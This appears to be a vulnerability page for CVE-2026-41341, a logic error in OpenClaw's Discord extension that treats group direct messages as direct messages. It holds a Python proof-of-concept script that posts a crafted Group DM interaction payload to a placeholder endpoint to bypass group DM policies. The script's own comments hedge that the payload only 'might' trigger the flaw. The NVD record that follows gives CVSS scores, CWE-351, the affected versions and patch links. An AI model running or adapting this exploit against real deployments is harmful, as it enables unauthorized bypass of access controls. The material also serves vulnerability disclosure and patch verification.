CVE-2026-41341

# PoC for CVE-2026-41341: OpenClaw Component Interaction Misclassification # This script demonstrates how a payload can be crafted to trigger the logic error. # The vulnerability allows bypassing Group DM policies by misclassifying the message type. import requests import json def trigger_vulnerability(target_url, interaction_data): """ Sends a malicious interaction payload to the target OpenClaw instance. The payload targets the agent-components-helpers.ts logic. """ headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-41341-POC/1.0" } # The payload simulates a Group DM interaction. # Due to the logic error, the system treats this as a standard DM. payload = { "id": "interaction_01", "type": 3, # Message Component "data": interaction_data, "channel": { "id": "group_channel_id", "type": 3, # Group DM type in Discord API, but handled incorrectly "flags": 0 }, "guild_id": None, # Absence of guild_id might trigger the misclassification path "message": { "id": "msg_id", "content": "Bypass Attempt" } } try: response = requests.post(target_url, data=json.dumps(payload), headers=headers) if response.status_code == 200: print("[+] Request sent successfully. Check if policy was bypassed.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual endpoint of the vulnerable OpenClaw instance target = "http://vulnerable-openclaw-instance/api/discord/interaction" # Example component data that might trigger the specific routing path data = { "component_type": 2, "custom_id": "bypass_policy_check" } trigger_vulnerability(target, data)

{"cve": {"id": "CVE-2026-41341", "sourceIdentifier": "[email protected]", "published": "2026-04-23T22:16:40.477", "lastModified": "2026-04-29T15:56:08.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.31 contains a logic error in Discord component interaction routing that misclassifies group direct messages as direct messages in extensions/discord/src/monitor/agent-components-helpers.ts. Attackers can exploit this misclassification to bypass group DM policy enforcement or trigger incorrect session handling."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-351"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.31", "matchCriteriaId": "35B1FB5C-EA5A-4095-9226-F947A9B3B984"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/8c83128fc38d5a3642b8ccbea58550755fdbbbaf", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-6336-qqw9-v6x6", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-component-interaction-misclassification-in-discord-extension", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}